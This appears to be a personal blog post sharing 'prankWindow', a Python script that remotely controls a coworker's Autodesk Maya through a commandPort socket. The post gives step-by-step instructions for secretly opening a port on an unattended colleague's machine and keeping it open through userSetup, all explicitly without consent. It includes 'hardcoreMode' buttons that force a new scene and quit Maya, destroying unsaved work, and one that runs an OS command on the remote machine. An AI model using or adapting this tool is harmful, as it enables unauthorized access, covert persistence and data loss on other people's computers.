I'm not sure I should post this, but here goes nothing.
In my latest python studies here at Vetor Zero, I was trying to issue remote commands to other Mayas (running on other computers, not my own) for quick fixes on my colleagues scenes and maybe to try some kind of collaborative workflow.
One of my ideas was to use python sockets and I had to try it. My first test was a complete success, but my inner devils thought it could be more than a test, it could be something I would extract some laughs off it - at the cost of other people. :- p
Minutes later, the prankWindow procedure was born!
Basically it's a window full of buttons that triggers basic commands like toggling viewports, shaded and wireframe modes, frame all, frame selected, change the current manipulator tool, minimize the app, etc - but the main difference is that it does all that on another person's Maya. And yeah, without their consent or knowledge.
Scroll down to the bottom of the post for the script!
A step-by-step guide to use the script is as follows:
sneak into their someone's computer when they're away having lunch or on a coffee break;
open a commandPort in their Maya that will receive your commands (you can even edit their userSetup script to always leave the port open for later). Do that by typing commandPort -n ":12543"(MEL) or cmds.commandPort(n=":12543")(Python) on the command line;
open and edit the script to connect to the desired computer name or IP address, the default port I used was 12543 (you can also create shortcut buttons to switch to different computers quickly);
run the script and click away! Start with subtle things like clearing the selection or toggling wireframe shading and steadily start doing more complex things like minimizing their Maya window and restoring before they can click the taskbar icon;
while at it, try not to laugh or hide yourself behind your monitor.
Be warned though: some commands are intentionally malicious and *will* result in loss of work if the scene hasn't been saved! Plus, if people discover that you're trying to mess with their heads by controlling their Maya, you'll eventually get punched. I almost did, but it was really fun to see people raising their hands and saying things like "my Maya is possessed!".
I present you the script:
import socket
import maya.cmds as cmds
import maya.mel as mel
maya = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def prankWindow(hardcoreMode=0):
try: cmds.deleteUI("prankWindow")
except: pass
window = cmds.window("prankWindow")
mainLayout = cmds.columnLayout("mainLayout", adj=1, p=window)
cmds.button("Disconnect", c='maya.close(); maya = socket.socket(socket.AF_INET, socket.SOCK_STREAM)', p=mainLayout)
#duplicate the following line to create quick connection shortcuts here
cmds.button("Connect: Nilouco-pc", c='maya.connect(("nilouco-pc or IP address here",12543))', p=mainLayout)
cmds.separator(h=10, p=mainLayout)
cmds.button("minimizeApp", c='maya.send("minimizeApp")', p=mainLayout)
cmds.button("restoreApp", c='maya.send("RaiseMainWindow")', p=mainLayout)
cmds.button("Clear selection", c='maya.send("select -cl")', p=mainLayout)
cmds.button("Select All", c='maya.send("select -all")', p=mainLayout)
cmds.button("fit Selected", c='maya.send("FrameSelected")', p=mainLayout)
cmds.button("frameAll", c='maya.send("FrameAll")', p=mainLayout)
cmds.button("fit Home", c='maya.send("viewSet -animate `optionVar -query animateRollViewCompass` -home")', p=mainLayout)
cmds.button("Toggle Component Mode", c='maya.send("toggleSelMode")', p=mainLayout)
cmds.button("TOOL: Translate", c='maya.send("setToolTo moveSuperContext")', p=mainLayout)
cmds.button("TOOL: Rotate", c='maya.send("setToolTo RotateSuperContext")', p=mainLayout)
cmds.button("TOOL: Scale", c='maya.send("setToolTo scaleSuperContext")', p=mainLayout)
cmds.button("Cycle BG color", c='maya.send("CycleBackgroundColor")', p=mainLayout)
cmds.button("Toggle Timeslider", c="maya.send('toggleUIComponentVisibility \"Time Slider\"')", p=mainLayout)
cmds.button("VIEWPORT: Toggle Viewcube", c="maya.send('ToggleViewCube')", p=mainLayout)
cmds.button("VIEWPORT: Wireframe", c="maya.send('DisplayWireframe')", p=mainLayout)
cmds.button("VIEWPORT: Shaded", c="maya.send('DisplayShaded')", p=mainLayout)
cmds.button("VIEWPORT: Toggle Views", c="maya.send('panePop')", p=mainLayout)
cmds.button("VIEWPORT: Maximize Viewport", c="maya.send('ToggleUIElements')", p=mainLayout)
cmds.button("Undo", c="maya.send('undo')", p=mainLayout)
cmds.button("Redo", c="maya.send('redo')", p=mainLayout)
cmds.button("Open Renderview", c="maya.send('RenderViewWindow')", p=mainLayout)
cmds.button("Open Rendernode", c="maya.send('createRenderNode \"-all\" \"\" \"\"')", p=mainLayout)
cmds.button("Open Help (F1)", c="maya.send('Help')", p=mainLayout)
cmds.button("Play forward timeline", c="maya.send('playButtonForward')", p=mainLayout)
cmds.button("Play backwards timeline", c="maya.send('playButtonBackward')", p=mainLayout)
cmds.separator(h=10, p=mainLayout)
cmds.button("NEW SCENE", c='maya.send("file -new -f")', en=hardcoreMode, p=mainLayout)
cmds.button("CLOSE MAYA", c='maya.send("quit -f")', en=hardcoreMode, p=mainLayout)
cmds.button("SHOW HOTBOX", c='maya.send("hotBox")', en=hardcoreMode, p=mainLayout)
cmds.button("OPEN NOTEPAD", c="maya.send('system \"start notepad\"')", en=hardcoreMode, p=mainLayout)
cmds.showWindow(window)
prankWindow(0)
Oh, about the "hardcoreMode" flag... well, I guess that's self-explanatory.